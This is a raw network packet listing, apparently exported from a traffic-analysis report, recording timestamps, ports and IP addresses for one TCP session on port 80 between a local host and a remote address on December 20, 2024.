Dec 20, 2024 04:12:18.725559950 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.725603104 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.726543903 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.726586103 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.726677895 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.726720095 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.727644920 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.727689028 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.727756977 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.727798939 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.728745937 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.728789091 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.728847980 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.728893042 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.729859114 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.729902983 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.729948044 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.729989052 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.731010914 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.731053114 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.731133938 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.731189013 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.732059002 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.732101917 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.732165098 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.732204914 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.733160973 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.733206034 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.733268976 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.733308077 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.734265089 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.734306097 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.734376907 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.734417915 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.735380888 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.735421896 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.735699892 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.735742092 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.736466885 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.736511946 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.736536980 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.736571074 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.737571955 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.737613916 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.737715960 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.737760067 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.738678932 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.738725901 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.738787889 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.738827944 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.739763021 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.739811897 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.739876032 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.739919901 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.740873098 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.740912914 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.740977049 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.741018057 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.741975069 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.742017031 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.742070913 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.742122889 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.743103981 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.743145943 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.743228912 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.743272066 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.744175911 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.744218111 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.744275093 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.744316101 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.745279074 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.745321989 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.745383024 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.745424986 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.746376991 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.746417999 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.746479988 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.746520042 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.747486115 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.747529984 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.747590065 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.747631073 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.748593092 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.748635054 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.748692989 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.748732090 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.749685049 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.749728918 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.749782085 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.749825954 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.884768963 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.884829044 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.884881973 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.884936094 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.885190010 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.885237932 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.885353088 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.885395050 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.886292934 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.886344910 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.886408091 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.886447906 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.887399912 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.887450933 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.887490034 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.887531996 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.888484955 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.888592958 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.888648033 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.889610052 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.889725924 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.889770031 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.890688896 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.890736103 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.890824080 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.891796112 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.891844034 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.891858101 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.892899036 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.892965078 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.893053055 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.893120050 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.893997908 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.894093037 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.894140959 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.895092010 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.895190001 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.895237923 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.896207094 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.896256924 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.896302938 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.896847010 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.897309065 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.897350073 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.897409916 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.897469997 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.898408890 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.898447990 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.898508072 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.898550034 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.899553061 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.899600029 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.899630070 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.899668932 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.900615931 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.900722027 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.900764942 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.901706934 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.901884079 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.901930094 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.902822018 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.902868032 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.902980089 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.903945923 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.903992891 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.904006004 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.904196978 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.905004025 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.905112028 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.905159950 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.906121016 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.906253099 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.906296968 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.907217979 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.907267094 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.907330036 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.908320904 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.908369064 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.908459902 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.908850908 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.909416914 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.909535885 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.909584999 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.910526991 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.910626888 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.910670042 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.911659956 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.911708117 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.911731005 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.911861897 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.912719965 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.912765980 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.912841082 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.912885904 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.913829088 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.913933039 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.913981915 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.914932013 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.915030956 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.915074110 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.916027069 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.916136026 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.916198015 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.917155981 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.917227983 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.917258024 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.917848110 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.918248892 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.918294907 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.918351889 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.918411016 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.919334888 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.919380903 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.919437885 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.919482946 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.920444012 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.920555115 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.920602083 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.921564102 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.921730042 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.921772003 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.922648907 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.922693968 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.922804117 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.923746109 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.923789024 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.923844099 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.924901962 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.924952030 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.925137043 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.925180912 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.925949097 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.926059008 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.926104069 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.927041054 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.927185059 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.927229881 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.928153992 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.928199053 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.928318024 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.929270983 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.929316998 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.929390907 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.929841995 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.930368900 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.930536985 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.930582047 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.931471109 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.931590080 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.931634903 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.932549000 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.932598114 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.932725906 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.932847023 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.933674097 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.933720112 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.933777094 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.933819056 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.934762001 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.934806108 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.934870005 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.934927940 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.935866117 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.935972929 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.936014891 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.936978102 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.937230110 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.937273026 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.938070059 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.938117027 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.938147068 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.939203024 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.939245939 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.939261913 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.940280914 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.940329075 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.940407038 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.940448046 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.941381931 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.941471100 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.941523075 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:18.942430019 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:18.944847107 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.076690912 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.076765060 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.076826096 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.077217102 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.077392101 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.077440977 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.078327894 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.078434944 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.078480005 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.079416990 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.079463005 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.079519033 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.080513954 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.080560923 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.080590963 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.080858946 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.081602097 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.081731081 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.081777096 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.082748890 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.082866907 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.082911968 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.083822966 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.083869934 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.083940029 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.084006071 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.084970951 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.085020065 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.085046053 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.085091114 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.086016893 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.086062908 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.086138964 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.086185932 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.087146044 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.087191105 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.087235928 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.087271929 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.088231087 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.088275909 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.088339090 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.088382006 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.089332104 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.089378119 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.089453936 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.089497089 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.090440035 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.090567112 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.090610027 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.091542959 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.091605902 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.091666937 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.092647076 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.092693090 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.092885971 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.093736887 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.093781948 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.093849897 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.094871044 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.094917059 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.094983101 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.095026970 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.095936060 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.096040964 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.096084118 CET	49783	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:19.097203016 CET	80	49783	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:19.097398996 CET	80	49783	31.41.244.11	192.168.2.4
